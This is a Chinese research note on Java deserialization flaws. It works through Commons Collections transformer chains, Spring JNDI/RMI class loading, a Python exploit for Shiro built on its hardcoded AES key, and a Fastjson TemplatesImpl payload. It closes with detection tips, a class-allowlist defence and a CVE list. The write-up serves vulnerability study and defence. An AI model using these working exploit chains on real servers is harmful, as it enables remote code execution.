研究笔记 | Java反序列化漏洞分析

Java反序列化漏洞是与java相关的漏洞中最常见的一种,也是网络安全工作者关注的重点。在cve中搜索关键字serialized共有174条记录,其中83条与java有关;搜索deserialized共有20条记录,其中10条与java有关。这些出现反序列化漏洞的框架和组件包括的大名鼎鼎的spring,其中还有许多Apache开源项目中的基础组件。例如Apache Commons Collections。 这些基础组件大量被其他框架或组件引用,一旦出现漏洞就会引起大面积的网络安全事故,后果非常严重。比较出名的反序列化漏洞有:

2015 – Apache Commons Collections

2016 – Spring RMI

2017 – Jackson,FastJson

反序列化漏洞总结给出了近几年出现的反序列化漏洞。

本文主要对java反序列化机制进行简要说明,并对java反序列化漏洞的成因进行分析以及提出一些用于防止反序列化产生安全问题的手段。

java反序列化简介

序列化与反序列化是java提供的用于将对象进行持久化便于存储或传输的手段。序列化可以将对象存储在文件或数据库中,同时也可以将序列化之后的对象通过网络传输;反序列化可以将序列化后的对象重新加载到内存中,成为运行时的对象。

在java中,主要通过ObjectOutputStream中的writeObject()方法对对象进行序列化操作,ObjectInputStream 中的readObject() 方法对对象进行反序列化操作。需要序列化的对象必须实现@serializable接口。需要注意的是,如果被序列化或反序列化的类中存在writeObject()|readObject()方法,则在进行序列化|反序列化之前就会调用该方法。这通常是引起反序列化漏洞的一个重要特性。下面通过一段简单的代码认识一下java的序列化与反序列化:

首先定义一个User类用于序列化:

public class User implements Serializable{        private int age;      
  private String username;        private String password;       
 User(){            this.age = 10;            this.username = "test";    
        this.password = "test";        }        //在序列化之前被调用       
 private void writeObject(ObjectOutputStream os) throws IOException {    
        os.defaultWriteObject();           
 System.out.println("readObject is running!");        }        
//在反序列化之后被调用        private void readObject(ObjectInputStream is) throws
 IOException, ClassNotFoundException {           
 is.defaultReadObject();            System.out.println("writeObject is 
running!");        }        @Override        public String toString() {  
          return "User{" +                    "age=" + age +            
        ", username='" + username + '\'' +                    ", 
password='" + password + '\'' +                    '}';            }    
 }

然后进行序列化|反序列化操作:

public static void main(String args[]) throws IOException, 
ClassNotFoundException {              User user = new User();        
//将序列化对象存储在serialize_data中        ObjectOutputStream oos = new 
ObjectOutputStream(new FileOutputStream("serialize_data"));       
 System.out.println("serialize");        oos.writeObject(user);//序列化    
    oos.close();        //存储在serialize_data中的对象反序列化       
 ObjectInputStream ois = new ObjectInputStream(new 
FileInputStream("serialize_data"));       
 System.out.println("deserialize");        User userDeserialize = 
(User)ois.readObject();//反序列化       
 System.out.println(userDeserialize.toString());        ois.close();    }
    //输出结果    /*    serialize    readObject is running!    deserialize  
  writeObject is running!    User{age=10, username='test', 
password='test'}          */    

可以看出,自定义的readObject|writeObject方法确实在序列化反与反序列化的过程中被调用了。

Apache Commons Collections 反序列化漏洞

下面就从一个实例来看一下java反序列化如何导致系统命令执行的。

Commons Collections是一个apache开源的集合类工具组件,在2015年爆出有反序列化漏洞。有大量的框架受到其影响。如:WebLogic,Jenkins,Jboss等。

Conmmons Collections中有一个TransformedMap ,其作用是对普通的map进行装饰,在被装饰过的map添加或者修改键值对时会首先调用其中Transformer 类的transform() 方法。TransformedMap 的构造函数可以传入单个Transformer。多个Transformer 构成的数组还可以构成执行链。听起来很复杂,下面看一下代码:

public class Main {    public static void main(String[] args) throws 
IOException, ClassNotFoundException {        //Transformer 
有很多种,ConstantTransformer的作用是对于任何输入的参数都返回构造函数输入的对象        Transformer 
transformer = new ConstantTransformer(new Integer(3));       //普通map    
    Map<String,String> rawMap = new HashMap<String, 
String>();        //装饰后的map        Map map = 
TransformedMap.decorate(rawMap,transformer,transformer);       
 map.put("dfd","dfsf");       //输出装饰后内容        map.forEach((k,v)->{  
          System.out.println(k+":"+v);        });    }}//console 
output//3:3

从输出结果可以看出,放在rawMap 中的键值对已经被转换成了ConstantTransformer 构造函数传入的整数对象。因此我们可以利用InvokerTransformer 构造一个调用链来进行恶意命令的执行。代码如下:

public class Main {    public static void main(String[] args) throws 
IOException, ClassNotFoundException {         Transformer[] transformers
 = new Transformer[]{         new ConstantTransformer(Runtime.class),    
     new InvokerTransformer("getMethod",new 
Class[]{String.class,Class[].class},new Object[]{"getRuntime",new 
Class[0]}),         new InvokerTransformer("invoke",new 
Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),  
       new InvokerTransformer("exec",new Class[]{String.class},new 
Object[]{"evilCmd"})         };         Transformer transformer = new 
ChainedTransformer(transformers);         Map<String,String> 
rawMap = new HashMap<>();         Map map = 
TransformedMap.decorate(rawMap,null,transformer);         
map.put("aaa","bbb");    }}

其中构造了几个InvokerTransformer ,其中每一个transform()的输入分别是前一个transform() 方法的输出。因此这段代码翻译过来等价于:

((Runtime)Runtime.class.getMethod("getRuntime",null).invoke(null,null)).exec("evilCmd");

这样就可以通过Transform调用链来执行系统命令。

此时,我们提到的Commons Collections并没有与反序列有关,也不能系统命令执行。但是由于AnnotationInvocationHandler这个类的存在,和上面的一些点结合起来,就产生了安全隐患。

class AnnotationInvocationHandler implements InvocationHandler, 
Serializable {    private static final long serialVersionUID = 
6182022883658399397L;    private final Class<? extends Annotation>
 type;    private final Map<String, Object> memberValues;   
 private transient volatile Method[] memberMethods = null;   
 AnnotationInvocationHandler(Class<? extends Annotation> var1, 
Map<String, Object> var2) {        Class[] var3 = 
var1.getInterfaces();        if (var1.isAnnotation() && 
var3.length == 1 && var3[0] == Annotation.class) {           
 this.type = var1;            this.memberValues = var2;        } else {  
          throw new AnnotationFormatError("Attempt to create proxy for a
 non-annotation type.");        }    }     private void 
readObject(ObjectInputStream var1) throws IOException, 
ClassNotFoundException {        GetField var2 = var1.readFields();      
  Class var3 = (Class)var2.get("type", (Object)null);        Map var4 = 
(Map)var2.get("memberValues", (Object)null);        AnnotationType var5 =
 null;        try {            var5 = AnnotationType.getInstance(var3);  
      } catch (IllegalArgumentException var13) {            throw new 
InvalidObjectException("Non-annotation type in annotation serial 
stream");        }        Map var6 = var5.memberTypes();       
 LinkedHashMap var7 = new LinkedHashMap();        String var10;       
 Object var11;        for(Iterator var8 = var4.entrySet().iterator(); 
var8.hasNext(); var7.put(var10, var11)) {            Entry var9 = 
(Entry)var8.next();            var10 = (String)var9.getKey();           
 var11 = null;            Class var12 = (Class)var6.get(var10);          
  if (var12 != null) {                var11 = var9.getValue();          
      if (!var12.isInstance(var11) && !(var11 instanceof 
ExceptionProxy)) {                    var11 = (new 
AnnotationTypeMismatchExceptionProxy(var11.getClass() + "[" + var11 + 
"]")).setMember((Method)var5.members().get(var10));                }    
        }        }       ...    }}

AnnotationInvocationHandler是这样一个类:

可序列化

有一个Map 类型的属性

readObject() 方法中调用了Map属性 的setValue()方法。

如果攻击者进行构造一个AnnotationInvocationHandler对象,其Map 属性的实际类型为TransformedMap ,并且将其中的Transformer构造为恶意调用链。那么在反序列化过程中就会执行readObject(),继而执行TransformedMap属性的setValue()方法,导致TransformedMap中值的改变,然后触发攻击者构造的恶意恶意调用链。最后产生系统命令执行的漏洞。漏洞的逻辑如下:

Deserialize -> call readObject() -> call setValue()-> call transform() -> call Runtime.exec()

Spring RMI反序列化漏洞

JNDI在了解Spring RMI反序列化漏洞之前需要了解RMI以及JNDI这两个概念:

RMI(Remote Method Invocation) 即Java远程方法调用,一种用于实现远程过程调用的应用程序编程接口

JNDI (Java Naming and Directory Interface)是一个应用程序设计的API,为开发人员提供了查找和访问各种命名和目录服务的通用、统一的接口

JNDI和RMI的主要关系是RMI注册的服务可以通过JNDIAPI访问。在讨论到Spring反序列化漏洞之前,先看看如果通过JNDI来调用RMI注册的服务。

在使用RMI注册服务时有两个较为重要的属性className和codebase url。className指明了服务的地址和名称,而codebase url指明了调用时对象的位置。一个简单的RMI注册服务如下:

xxxxxxxxxx Registry registry = LocateRegistry.createRegistry(1999);        Reference reference = new Reference(“RMIObject”, “RMIObject”,                ”http://127.0.0.1:8000/“);//实际加载的类为 http://127.0.0.1:8000/RMIObject.class        ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);        registry.bind(“RMI”, referenceWrapper);//服务名称为RMI

当通过jndi的lookup()方法来查找127.0.0.1:1999/RMI服务时会加载http://127.0.0.1:8000/RMIObject.class这个类,加载成功后会调用RMIObject的构造方法。如果构造方法中存在恶意代码,就会引起RCE。

而在spring-tx.jar的JtaTransactionManager中存在readObject方法。该方法代码如下:

xxxxxxxxxxprivate void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {        ois.defaultReadObject();        this.jndiTemplate = new JndiTemplate();        this.initUserTransactionAndTransactionManager();        this.initTransactionSynchronizationRegistry();   }

其中initUserTransactionAndTransactionManager()又调用了方法lookupUserTransaction(),lookupUserTransaction()代码如下:

xxxxxxxxxx protected UserTransaction lookupUserTransaction(String userTransactionName) throws TransactionSystemException {   …     return (UserTransaction)this.getJndiTemplate().lookup(userTransactionName,                                                            UserTransaction.class);   …}

其中userTransactionName就是我们上面提到的RMI服务地址。因此,如果我们构造一个JtaTransactionManager对象,并且将这个对象的userTransactionName设置为我们自己的RMI服务器,并且使这个类在目标服务器上进行反序列化,在反序列化的过程中会执行lookup()方法,而lookup方法的参数即RMI服务的地址是我们自己设置的地址,通过这个地址会返回一个恶意的对象,然后在实例化该对象的过程中就产生了RCE。流程图如下:

xxxxxxxxxx反序列化 -> 调用 readObject() -> 调用 initUserTransactionAndTransactionManager()  -> 调用 lookupUserTransaction() -> 调用 lookup() -> 实例化含有恶意代码的类 -> 造成命令执行

在本机搭建一个测试环境,Server类模拟接受数据并进行反序列化的服务器:

xxxxxxxxxxServerSocket serverSocket = new ServerSocket(9999);System.out.println(“Server started on port “+serverSocket.getLocalPort());while(true) {    Socket socket=serverSocket.accept();    System.out.println(“Connection received from “+socket.getInetAddress());    ObjectInputStream objectInputStream = new ObjectInputStream(socket.getInputStream());    try {        Object object = objectInputStream.readObject();        System.out.println(“Read object “+object);   } catch(Exception e) {        System.out.println(“Exception caught while reading object”);        e.printStackTrace();   }}

RMIServer模拟我们的codebase服务器:

xxxxxxxxxx//main:  Registry registry = LocateRegistry.createRegistry(1999);        Reference reference = new Reference(“RMIObject”, “RMIObject”,                ”http://127.0.0.1:8000/“);//实际加载的类为 http://127.0.0.1:8000/RMIObject.class        ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);        registry.bind(“RMI”, referenceWrapper);//服务名称为RMI        //开启http服务        HttpServer httpServer = HttpServer.create(new InetSocketAddress(8000), 0);        httpServer.createContext(“/”,new HttpFileHandler());        httpServer.start();//HttpFileHandler: System.out.println(“new http request from “+httpExchange.getRemoteAddress()+” “+httpExchange.getRequestURI());                InputStream inputStream = HttpFileHandler.class.getResourceAsStream(httpExchange.getRequestURI().getPath().replace(“/”,”"));                ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();                while(inputStream.available()>0) {                    byteArrayOutputStream.write(inputStream.read());               }                byte[] bytes = byteArrayOutputStream.toByteArray();                httpExchange.sendResponseHeaders(200, bytes.length);                httpExchange.getResponseBody().write(bytes);                httpExchange.close();

RMIObject为payload:

xxxxxxxxxxprivate static String exec(String cmd) throws Exception {        String sb = “”;        BufferedInputStream in = new BufferedInputStream(Runtime.getRuntime().exec(cmd).getInputStream());        BufferedReader inBr = new BufferedReader(new InputStreamReader(in));        String lineStr;        while ((lineStr = inBr.readLine()) != null)            sb += lineStr + “\n”;        inBr.close();        in.close();        return sb;   }    public RMIObject() throws Exception {        String cmd=”gnome-calculator”;        throw new Exception(exec(cmd));   }

然后使用Client发送payload:

xxxxxxxxxx   Socket socket=new Socket(“127.0.0.1″,9999);            String jndiAddress = “rmi://127.0.0.1:1999/RMI”;            org.springframework.transaction.jta.JtaTransactionManager object = new org.springframework.transaction.jta.JtaTransactionManager();            object.setUserTransactionName(jndiAddress);            ObjectOutputStream objectOutputStream = new ObjectOutputStream(socket.getOutputStream());            objectOutputStream.writeObject(object);            objectOutputStream.flush();//发送payload            while(true) {                Thread.sleep(1000);           }

运行结果为:

springrec.png

shiro反序列化漏洞

Apache Shiro是一个Java安全框架,有身份验证、授权、密码学和会话管理等功能。shiro官方编号为550的issue曾报出反序列化漏洞。根据官方的issuehttps://issues.apache.org/jira/browse/SHIRO-550。漏洞的出现在CookieRememberMeManager中。shiro将一个用于进行验证的类编码、加密后保存在cookie中。在需要对一个用户的身份进行鉴定时,CookieRememberMeManager会进行以下步骤:

获取用户cookie中rememberMe对应的值

Base64解码

AES解密

反序列步骤3得到的内容

可以看出步骤4变进行了序列化与反序列化,这里也就有了RCE的机会。但是从第3点看,在进行反序列化之前还进行了AES解密。这里简短的提一下AES是一种对称加密方式,也就是加密密钥和解密密钥相同。当我们知道AES加密的密钥,IV(初始化向量),模式这三个要点之后就可以构造一个服务器能够正常解密的数据包。当然,攻击者一般不知道密钥的内容,但是CookieRememberMeManager是硬编码在源代码中的,可以随意下载查看。同时大部分的用户并不会对初始的密钥进行修改,这也就导致了漏洞的产生。这里也说明了在使用一些开源组件的时候,最开始一定要对一些默认的安全选项、信息进行修改,避免产生安全漏洞。

回到CookieRememberMeManager源代码上,在其父类AbstractRememberMeManager中可以看到属性DEFAULT_CIPHER_KEY_BYTES,也就是硬编码的密钥为:

xxxxxxxxxxprivate static final byte[] DEFAULT_CIPHER_KEY_BYTES = Base64.decode(“kPH+bIxk5D2deZiIxcaaaA==”);

然后查看其中的encrypt()方法:

xxxxxxxxxx protected byte[] encrypt(byte[] serialized) {        byte[] value = serialized;        CipherService cipherService = this.getCipherService();        if (cipherService != null) {            ByteSource byteSource = cipherService.encrypt(serialized, this.getEncryptionCipherKey());            value = byteSource.getBytes();       }        return value;   }

其中使用了CipherService进行加密,其真正类型DefaultBlockCipherService中构造函数中有:

xxxxxxxxxx  public DefaultBlockCipherService(String algorithmName) {       …        this.modeName = OperationMode.CBC.name(); … }

这里里可以看出加密的采用的CBC模式。再查看DefaultBlockCipherService的父类JcaCipherService其中一个函数:

xxxxxxxxxxpublic void encrypt(InputStream in, OutputStream out, byte[] key) throws CryptoException { …    this.encrypt(in, out, key, iv, generate);}

可以看出shiro直接将IV写入OutputStream中,随后写入Cookie中。而从initializationVectorSize还可以得知IV的长度为128比特,也就是16字节。因此我们便能推断出cookie的前16个字节为IV。到此AES加密的三要素密钥,IV,模式就已经完全取得了。

最后在DefaultSerializer中找到deserialize()方法:

xxxxxxxxxxpublic T deserialize(byte[] serialized) throws SerializationException {        if (serialized == null) {            String msg = “argument cannot be null.”;            throw new IllegalArgumentException(msg);       } else {            ByteArrayInputStream bais = new ByteArrayInputStream(serialized);            BufferedInputStream bis = new BufferedInputStream(bais);            try {                ObjectInputStream ois = new ClassResolvingObjectInputStream(bis);                T deserialized = ois.readObject();                ois.close();                return deserialized;           } catch (Exception var6) {                String msg = “Unable to deserialze argument byte array.”;                throw new SerializationException(msg, var6);           }       }   }

可以看到其中有readObject() 方法,然后可以采用Apache Commons Collections 反序列化漏洞提到的方法构造payload即可。具体流程如下:

构造恶意类并序列化

将序列化后的数据利用AES进行加密

将加密后的数据进行base64编码

设置cooke : rememberMe = base64编码得到的数据

发送payload

使用python和ysoserial构造exp:

xxxxxxxxxximport sysimport base64import uuidfrom random import Randomimport subprocessfrom Crypto.Cipher import AES def encode_rememberme(command):    popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.5-SNAPSHOT-all.jar', 'CommonsCollections2', "gnome-calculator"], stdout=subprocess.PIPE)    BS   = AES.block_size    pad = lambda s: s + ((BS – len(s) % BS) * chr(BS – len(s) % BS)).encode()    key =  ”kPH+bIxk5D2deZiIxcaaaA==”    mode =  AES.MODE_CBC    iv   =  uuid.uuid4().bytes    encryptor = AES.new(base64.b64decode(key), mode, iv)    file_body = pad(popen.stdout.read())    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))    return base64_ciphertextif __name__ == ‘__main__’:    payload = encode_rememberme(sys.argv[1])        with open(“/tmp/payload.cookie”, “w”) as fpw:        print(“rememberMe={}”.format(payload.decode()), file=fpw)

在本地搭建一个shiro应用,端口为8080,使用httpie发送payload:

http :8080/hello Cookie:cat /tmp/payload.cookie

可以弹出计算器:

shiro.png

fastjson反序列化

fastjson是由阿里巴巴维护的一个处理json数据的一个开源库,在2017年爆出有反序列化漏洞。先看一下基本用法:

User user = new 
User();user.setUsername("lily");user.setSex("girl");String userStr = 
JSON.toJSONString(user, 
SerializerFeature.WriteClassName);System.out.println(userStr);Object 
user2 = 
JSON.parseObject(userStr);System.out.println(user2);//output:run!{"@type":"com.knownsec.fastjson.rce.User","Sex":"girl","Username":"lily","sex":"girl","username":"lily"}run!{"username":"lily","sex":"girl","Username":"lily","Sex":"girl"}

其中User类如下:

public class User {    public String Username;    public String Sex;   
 public String getUsername() {        return Username;   }    public 
void setUsername(String username) {          
 System.out.println("run!");        Username = username;   }    public 
String getSex() {        return Sex;   }    public void setSex(String 
sex) {           Sex = sex;   }}

可以看出在序列化和反序列化的同时都会调用set方法。因此如果能找到一个类,类中的某一个set方法可以由我们控制,就有机会产生RCE。

而在类com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl中,有一个属性为_outputProperties,理论上来说_outputProperties对应的set方法为get_outputProperties(),但是fastjson的特性,自动将getOutputProperties()匹配为对应get方法。因此在fastjson对TemplatesImpl类型进行反序列化时会调用getOutputProperties()方法。而接下来又会调用一系列方法,最后达到getTransletInstance(),该方法中会根据TemplatesImpl的_bytecodes实例化一个对象,而该属性正好是我们可控制的。完整的调用栈为:

getTransletInstance()getTransletInstance( )newTransformer()getOutputProperties()

其中getTransletInstance()代码如下:

private Translet getTransletInstance()    throws 
TransformerConfigurationException {      try {          if (_name == 
null) return null;          if (_class == null) defineTransletClasses();
          AbstractTranslet translet = (AbstractTranslet) 
_class[_transletIndex].newInstance();          ...          return 
translet;      }      catch (InstantiationException e) {      }     
 catch (IllegalAccessException e) {      }    }

可以看出,在newInstance()的时候会将示例的类型强转为AbstractTranslet,因此构造的payload的类一定要继承AbstractTranslet。最后构造一个本地测试环境:

public class POC {    public static String readClass(String cls){       
 ByteArrayOutputStream bos = new ByteArrayOutputStream();            try
 {               IOUtils.copy(new FileInputStream(new File(cls)), bos);  
     } catch (IOException e) {            e.printStackTrace();       }  
      return Base64.encodeBase64String(bos.toByteArray());      }   
 public static void test_autoTypeDeny() throws Exception {  ParserConfig
 config = new ParserConfig();    final String evilClassPath = 
"/home/lishion/IdeaProjects/springrec/target/classes/com/fastjson/rce/Test.class";
       String evilCode = readClass(evilClassPath);    final String 
NASTY_CLASS = 
"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";    String 
text1 = "{\"@type\":\"" + NASTY_CLASS +       
 "\",\"_bytecodes\":[\""+evilCode+"\"],'_name':'a.b',\"_outputProperties\":{
    }," +       
 "\"_name\":\"a\",\"_version\":\"1.0\",\"allowedProtocols\":\"all\"}\n";
    System.out.println(text1);    Object obj = JSON.parseObject(text1, 
Object.class, config, Feature.SupportNonPublicField);      }    public 
static void main(String args[]){        try {           
 test_autoTypeDeny();       } catch (Exception e) {           
 e.printStackTrace();          }   }}

最后弹出计算器:

fastjson.png

如何发现反序列化漏洞

0xaced0005为java反序列化头标志,可以通过嗅探网络流量中是否包含该二进制序列来判断服务器是否对网络数据进行序列化。

进行代码审计,分析重写了readObject()的类和使用了ObjectInputStream方法中是否存在不安全逻辑。

java RMI 技术基于反序列化,其默认端口为1099。

查看项目是否依赖于已经产生反序列化漏洞的组件。

java反序列化漏洞防护

对于由开源项目和各种开源组件引起的漏洞通常是无法预料的,使用这些项目的的开发者也不太可能在使用之前对所有依赖项目和组件都进行安全分析。因此对于这些漏洞,开发者要做到经常关注一些漏洞公布平台,在发现漏洞后做到及早修复,将损失降到最低。

对于自己所编写的代码,可以通过以下手段来防范反序列化安全问题:

在RMI中使用反序列化时,序列化字节的来源基本是协同工作的服务器。如果普通的用户不会与服务器进行反序列化的数据交互,那么有必要对反序列化数据来源进行认证,避免反序列化不信任来源的数据。

对反序列化的类名进行白名单校验。继承ObjectInputStream重写resolveClass()方法可以实现:

public final class SafeObjectInputStream extends ObjectInputStream{    

   ...    private List safeClassNames = new ArrayList();   
 safeClassNames.add("safeClass1");    safeClassNames.add("safeClass1");  
  safeClassNames.add("safeClass1");   ...    protected    Class<?>
 resolveClass(ObjectStreamClass desc)            throws IOException, 
ClassNotFoundException{         
if(!safeClassNames.contains(desc.getName())){ //如果类名不在白名单中,抛出异常         
      throw new ClassNotFoundException(desc.getName()+" is not safe!");  
     }        returnsuper.resolveClass(desc);   }   ...}    

禁止JVM执行外部命令Runtime.exec()。

cve上与java相关的反序列化漏洞

CVE-2018-0147: vulnerability in Java deserialization used by Cisco Secure AccessControl System (ACS) prior to release 5.8 patch 9 could allow anunauthenticated, remote attacker to execute arbitrary commands on a…

CVE-2017-9844:AP NetWeaver 7400.12.21.30308 allows remote attackers to cause adenial of service and possibly execute arbitrary code via a craftedserialized Java object in a request to metadatauploader, aka SAPS…

CVE-2017-7504:TTPServerILServlet.java in JMS over HTTP Invocation Layer of theJbossMQ implementation, which is enabled by default in Red Hat JbossApplication Server <= Jboss 4.X does not restrict the classes for…

CVE-2017-5983:he JIRA Workflow Designer Plugin in Atlassian JIRA Server before6.3.0 improperly uses an XML parser and deserializer, which allowsremote attackers to execute arbitrary code, read arbitrary files, o…

CVE-2017-5878:he AMF unmarshallers in Red5 Media Server before 1.0.8 do notrestrict the classes for which it performs deserialization, whichallows remote attackers to execute arbitrary code via craftedserialize…

CVE-2017-5586:penText Documentum D2 (formerly EMC Documentum D2) 4.x allows remoteattackers to execute arbitrary commands via a crafted serialized Javaobject, related to the BeanShell (bsh) and Apache Commons Co…

CVE-2017-15708:n Apache Synapse, by default no authentication is required for JavaRemote Method Invocation (RMI). So Apache Synapse 3.0.1 or allprevious releases (3.0.0, 2.1.0, 2.0.0, 1.2, 1.1.2, 1.1.1) allowsre…

CVE-2017-1000353:enkins versions 2.56 and earlier as well as 2.46.1 LTS and earlierare vulnerable to an unauthenticated remote code execution. Anunauthenticated remote code execution vulnerability allowed attackers…

CVE-2016-9299:he remoting module in Jenkins before 2.32 and LTS before 2.19.3allows remote attackers to execute arbitrary code via a craftedserialized Java object, which triggers an LDAP query to a third-partys…

CVE-2016-7065:he JMX servlet in Red Hat JBoss Enterprise Application Platform (EAP)4 and 5 allows remote authenticated users to cause a denial of serviceand possibly execute arbitrary code via a crafted serializ…

CVE-2016-6814:hen an application with unsupported Codehaus versions of Groovy from1.7.0 to 2.4.3, Apache Groovy 2.4.4 to 2.4.7 on classpath usesstandard Java serialization mechanisms, e.g. to communicate between…

CVE-2016-6809:pache Tika before 1.14 allows Java code execution for serializedobjects embedded in MATLAB files. The issue exists because Tika invokesJMatIO to do native deserialization.

CVE-2016-6793:he DiskFileItem class in Apache Wicket 6.x before 6.25.0 and 1.5.xbefore 1.5.7 allows remote attackers to cause a denial of service(infinite loop) and write to, move, and delete files with theperm…

CVE-2016-6501:Frog Artifactory before 4.11 allows remote attackers to executearbitrary code via an LDAP attribute with a crafted serialized Javaobject, aka LDAP entry poisoning.

CVE-2016-6500:nspecified methods in the RACF Connector component before 1.1.1.0 inForgeRock OpenIDM and OpenICF improperly call the SearchControlsconstructor with returnObjFlag set to true, which allows remotea…

CVE-2016-6496:he LDAP directory connector in Atlassian Crowd before 2.8.8 and 2.9.xbefore 2.9.5 allows remote attackers to execute arbitrary code via anLDAP attribute with a crafted serialized Java object, aka L…

CVE-2016-6199:bjectSocketWrapper.java in Gradle 2.12 allows remote attackers toexecute arbitrary code via a crafted serialized object.

CVE-2016-5983:BM WebSphere Application Server (WAS) 7.0 before 7.0.0.43, 8.0 before8.0.0.13, 8.5 before 8.5.5.11, 9.0 before 9.0.0.2, and Liberty before16.0.0.4 allows remote authenticated users to execute arbit…

CVE-2016-5003:he Apache XML-RPC (aka ws-xmlrpc) library 3.1.3, as used in ApacheArchiva, allows remote attackers to execute arbitrary code via acrafted serialized Java object in an ex:serializable element.

CVE-2016-4385:he RMI service in HP Network Automation Software 9.1x, 9.2x, 10.0xbefore 10.00.02.01, and 10.1x before 10.11.00.01 allows remoteattackers to execute arbitrary commands via a crafted serialized Java…

CVE-2016-4373:he AdminUI in HPE Operations Manager (OM) before 9.21.130 on Linux,Unix, and Solaris allows remote attackers to execute arbitrarycommands via a crafted serialized Java object, related to the Apache…

CVE-2016-4372 :P E iMC PLAT before 7.2 E0403P04, iMC EAD before 7.2 E0405P05, iMC APMbefore 7.2 E0401P04, iMC NTA before 7.2 E0401P01, iMC BIMS before 7.2E0402P02, and iMC UAM_TAM before 7.2 E0405P05 allow remote …

CVE-2016-4369 :P E Discovery and Dependency Mapping Inventory (DDMi) 9.30, 9.31,9.32, 9.32 update 1, 9.32 update 2, and 9.32 update 3 allows remoteauthenticated users to execute arbitrary commands via a craftedse…

CVE-2016-4368 :P E Universal CMDB 10.0 through 10.21, Universal CMDB ConfigurationManager 10.0 through 10.21, and Universal Discovery 10.0 through 10.21allow remote attackers to execute arbitrary commands via a cr…

CVE-2016-3642:he RMI service in SolarWinds Virtualization Manager 6.3.1 and earlierallows remote attackers to execute arbitrary commands via a craftedserialized Java object, related to the Apache Commons Collect…

CVE-2016-2510:eanShell (bsh) before 2.0b6, when included on the classpath by anapplication that uses Java serialization or XStream, allows remoteattackers to execute arbitrary code via crafted serialized data,r…

CVE-2016-2170:pache OFBiz 12.04.x before 12.04.06 and 13.07.x before 13.07.03 allowremote attackers to execute arbitrary commands via a craftedserialized Java object, related to the Apache Commons Collectionsli…

CVE-2016-2009 :P E Network Node Manager i (NNMi) 9.20, 9.23, 9.24, 9.25, 10.00, and10.01 allows remote authenticated users to execute arbitrary commandsvia a crafted serialized Java object, related to the Apache C…

CVE-2016-2003 :P E P9000 Command View Advanced Edition Software (CVAE) 7.x and 8.xbefore 8.4.0-00 and XP7 CVAE 7.x and 8.x before 8.4.0-00 allow remoteattackers to execute arbitrary commands via a crafted serializ…

CVE-2016-2000 :P E Asset Manager 9.40, 9.41, and 9.50 and Asset Manager CloudSystemChargeback 9.40 allow remote attackers to execute arbitrary commandsvia a crafted serialized Java object, related to the Apache Co…

CVE-2016-1999:he server in HP Release Control 9.13, 9.20, and 9.21 allows remoteattackers to execute arbitrary commands via a crafted serialized Javaobject, related to the Apache Commons Collections library.

CVE-2016-1998 :P E Service Manager (SM) 9.3x before 9.35 P4 and 9.4x before 9.41.P2allows remote attackers to execute arbitrary commands via a craftedserialized Java object, related to the Apache Commons Collectio…

CVE-2016-1997 :P E Operations Orchestration 10.x before 10.51 and OperationsOrchestration content before 1.7.0 allow remote attackers to executearbitrary commands via a crafted serialized Java object, related tot…

CVE-2016-1986 :P Continuous Delivery Automation (CDA) 1.30 allows remote attackersto execute arbitrary commands via a crafted serialized Java object,related to the Apache Commons Collections library.

CVE-2016-1985 :P E Operations Manager 8.x and 9.0 on Windows allows remote attackersto execute arbitrary commands via a crafted serialized Java object,related to the Apache Commons Collections library.

CVE-2016-1114:dobe ColdFusion 10 before Update 19, 11 before Update 8, and 2016before Update 1 allows remote attackers to execute arbitrary commandsvia a crafted serialized Java object, related to the Apache Com…

CVE-2016-10304:he SAP EP-RUNTIME component in SAP NetWeaver AS JAVA 7.5 allowsremote authenticated users to cause a denial of service (out-of-memoryerror and service instability) via a crafted serialized Java obj…

CVE-2016-0958:dobe Experience Manager 5.6.1, 6.0.0, and 6.1.0 might allow remoteattackers to have an unspecified impact via a crafted serialized Javaobject.

CVE-2016-0276:BM Financial Transaction Manager (FTM) for ACH Services forMulti-Platform 2.1.1.2 and 3.0.0.x before fp0013, FinancialTransaction Manager (FTM) for Check Services for Multi-Platform2.1.1.2 and 3.0…

CVE-2015-8765:ntel McAfee ePolicy Orchestrator (ePO) 4.6.9 and earlier, 5.0.x,5.1.x before 5.1.3 Hotfix 1106041, and 5.3.x before 5.3.1 Hotfix1106041 allow remote attackers to execute arbitrary code via a crafte…

CVE-2015-8360:n unspecified resource in Atlassian Bamboo before 5.9.9 and 5.10.xbefore 5.10.0 allows remote attackers to execute arbitrary Java codevia serialized data to the JMS port.

CVE-2015-8103:he Jenkins CLI subsystem in Jenkins before 1.638 and LTS before1.625.2 allows remote attackers to execute arbitrary code via acrafted serialized Java object, related to a problematicwebapps/ROOT/W…

CVE-2015-7501:ed Hat JBoss A-MQ 6.x; BPM Suite (BPMS) 6.x; BRMS 6.x and 5.x; DataGrid (JDG) 6.x; Data Virtualization (JDV) 6.x and 5.x; EnterpriseApplication Platform 6.x, 5.x, and 4.3.x; Fuse 6.x; Fuse Service …

CVE-2015-7450:erialized-object interfaces in certain IBM analytics, businesssolutions, cognitive, IT infrastructure, and mobile and socialproducts allow remote attackers to execute arbitrary commands via acraft…

CVE-2015-6934:erialized-object interfaces in VMware vRealize Orchestrator 6.x,vCenter Orchestrator 5.x, vRealize Operations 6.x, vCenter Operations5.x, and vCenter Application Discovery Manager (vADM) 7.x allow …

CVE-2015-6420:erialized-object interfaces in certain Cisco Collaboration and SocialMedia; Endpoint Clients and Client Software; Network Application,Service, and Acceleration; Network and Content Security Devices…

CVE-2015-5348:pache Camel 2.6.x through 2.14.x, 2.15.x before 2.15.5, and 2.16.xbefore 2.16.1, when using (1) camel-jetty or (2) camel-servlet as aconsumer in Camel routes, allow remote attackers to execute arbi…

CVE-2015-5344:he camel-xstream component in Apache Camel before 2.15.5 and 2.16.xbefore 2.16.1 allow remote attackers to execute arbitrary commands viaa crafted serialized Java object in an HTTP request.

CVE-2015-5254:pache ActiveMQ 5.x before 5.13.0 does not restrict the classes thatcan be serialized in the broker, which allows remote attackers toexecute arbitrary code via a crafted serialized Java Message Serv…

